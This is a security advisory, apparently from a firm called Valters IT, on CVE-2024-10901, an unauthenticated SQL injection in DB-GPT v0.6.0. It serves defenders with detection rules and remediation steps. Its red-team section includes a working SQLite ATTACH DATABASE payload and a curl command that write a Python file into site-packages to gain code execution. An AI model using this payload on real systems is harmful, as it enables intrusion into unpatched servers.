CVE-2024-10901

Executive Summary

CVE-2024-10901 is a critical unauthenticated SQL injection vulnerability in Eosphoros-ai DB-GPT version v0.6.0. The web API endpoint POST /api/v1/editor/chart/run allows execution of arbitrary SQL queries without any access control. This flaw enables attackers to perform Arbitrary File Write, potentially leading to Remote Code Execution (RCE) by writing malicious Python files (e.g., __init__.py) into the /site-packages/ directory. The vulnerability has a CVSS score of 9.1 (Critical) and currently has no known patch.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (Eosphoros-ai). As a PyPI package, it poses a supply chain risk: if an attacker compromises the package or exploits this vulnerability in a deployed instance, they can inject malicious code into the Python environment, affecting all applications using that Python installation. Organizations using DB-GPT should immediately isolate affected instances and monitor for unauthorized access.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high impact across all three security objectives, combined with the low attack complexity and no required privileges, makes this vulnerability extremely dangerous. An attacker can fully compromise the system without any authentication.

Deep Dive & Mechanics

The vulnerability resides in the POST /api/v1/editor/chart/run endpoint. The application fails to sanitize or validate user-supplied SQL queries before execution. An attacker can craft a malicious SQL query that, when executed, writes arbitrary files to the filesystem.

The exploitation path is as follows:

1. The attacker sends a POST request to /api/v1/editor/chart/run with a crafted SQL payload.
2. The SQL query is executed by the backend database engine (likely SQLite or MySQL).
3. Using SQL features like LOAD_FILE or INTO OUTFILE (depending on the database), the attacker writes a malicious Python file to the /site-packages/ directory.
4. When Python imports the compromised module, the malicious code executes, granting the attacker Remote Code Execution.

The specific SQL injection vector allows the attacker to bypass any intended restrictions and execute arbitrary SQL commands.

Vulnerable vs. Patched Code

Vulnerable Code (v0.6.0):

@app.route('/api/v1/editor/chart/run', methods=['POST'])
def run_chart():
    data = request.get_json()
    sql_query = data.get('query')
    # No sanitization or access control
    result = execute_sql(sql_query)
    return jsonify(result)

Patched Code (Hypothetical):

@app.route('/api/v1/editor/chart/run', methods=['POST'])
@require_auth
def run_chart():
    data = request.get_json()
    sql_query = data.get('query')
    # Validate and sanitize input
    if not is_valid_sql(sql_query):
        abort(400, "Invalid SQL query")
    # Use parameterized queries
    result = execute_parameterized_query(sql_query)
    return jsonify(result)

The patched version would require authentication, validate the SQL input, and use parameterized queries to prevent injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy DB-GPT v0.6.0 in a controlled environment (e.g., Docker container).
2. Ensure the API is exposed on a network interface.

Exploitation Steps:

1. Identify the target endpoint: POST /api/v1/editor/chart/run
2. Craft a malicious SQL payload to write a Python file. For example, using SQLite:

   ATTACH DATABASE '/usr/lib/python3.8/site-packages/malicious.py' AS malicious;
   CREATE TABLE malicious.t (data TEXT);
   INSERT INTO malicious.t VALUES ('import os; os.system("id")');
   DETACH DATABASE malicious;
   

3. Send the payload:

   curl -X POST http://target:5000/api/v1/editor/chart/run \
     -H "Content-Type: application/json" \
     -d '{"query": "ATTACH DATABASE \"/usr/lib/python3.8/site-packages/malicious.py\" AS malicious; CREATE TABLE malicious.t (data TEXT); INSERT INTO malicious.t VALUES (\"import os; os.system(\\\"id\\\")\"); DETACH DATABASE malicious;"}'
   

4. Trigger the malicious module by importing it (e.g., via a Python script that imports malicious).

Note: The exact SQL syntax depends on the database backend. For MySQL, use INTO OUTFILE.

Blue Team

Detection Steps:

1. Monitor for unusual SQL queries in database logs, especially ATTACH DATABASE, INTO OUTFILE, or LOAD_FILE.
2. Alert on any POST requests to /api/v1/editor/chart/run without authentication.
3. Check for unexpected files in /site-packages/ or other Python module directories.
4. Use file integrity monitoring (FIM) to detect new or modified .py files in sensitive directories.

Hunting Queries:

• Search for SQL queries containing ATTACH DATABASE or INTO OUTFILE.
• Look for network connections from the DB-GPT server to unknown external IPs (potential C2).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/v1/editor/chart/run with SQL payloads.
  • Unusual outbound connections from the DB-GPT server.
• File System:
  • Unexpected .py files in /usr/lib/python*/site-packages/ or /usr/local/lib/python*/site-packages/.
  • Modified __init__.py files in Python packages.
• Process:
  • Python processes executing unexpected commands (e.g., os.system, subprocess).
• Logs:
  • Database logs showing ATTACH DATABASE, INTO OUTFILE, or LOAD_FILE commands.

Detection Engineering

YARA Rule

rule CVE_2024_10901_SQLi_FileWrite {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10901 in DB-GPT"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10901"
    strings:
        $sql1 = "ATTACH DATABASE" ascii wide nocase
        $sql2 = "INTO OUTFILE" ascii wide nocase
        $sql3 = "LOAD_FILE" ascii wide nocase
        $sql4 = "/site-packages/" ascii wide nocase
    condition:
        any of ($sql*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-10901 SQL Injection Attempt
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts targeting the /api/v1/editor/chart/run endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/editor/chart/run'
        cs-uri-query|contains:
            - 'ATTACH DATABASE'
            - 'INTO OUTFILE'
            - 'LOAD_FILE'
    condition: selection
falsepositives:
    - Legitimate database administration tools
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-10901 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/v1/editor/chart/run";
    http_uri;
    content:"ATTACH DATABASE";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-10901;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected DB-GPT instance from the network.
2. Disable the vulnerable endpoint by removing or restricting access to /api/v1/editor/chart/run.
3. Review database logs for any signs of exploitation.
4. Check for unauthorized files in Python site-packages directories.

Long-term Fixes:

1. Apply input validation and sanitization to all SQL queries.
2. Implement authentication and authorization for all API endpoints.
3. Use parameterized queries or prepared statements to prevent SQL injection.
4. Monitor for updates from Eosphoros-ai regarding a patch.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing SQL keywords like ATTACH DATABASE, INTO OUTFILE, or LOAD_FILE.
• Restrict network access to the DB-GPT API to trusted IPs only.

Valters IT
Securing Digital Frontiers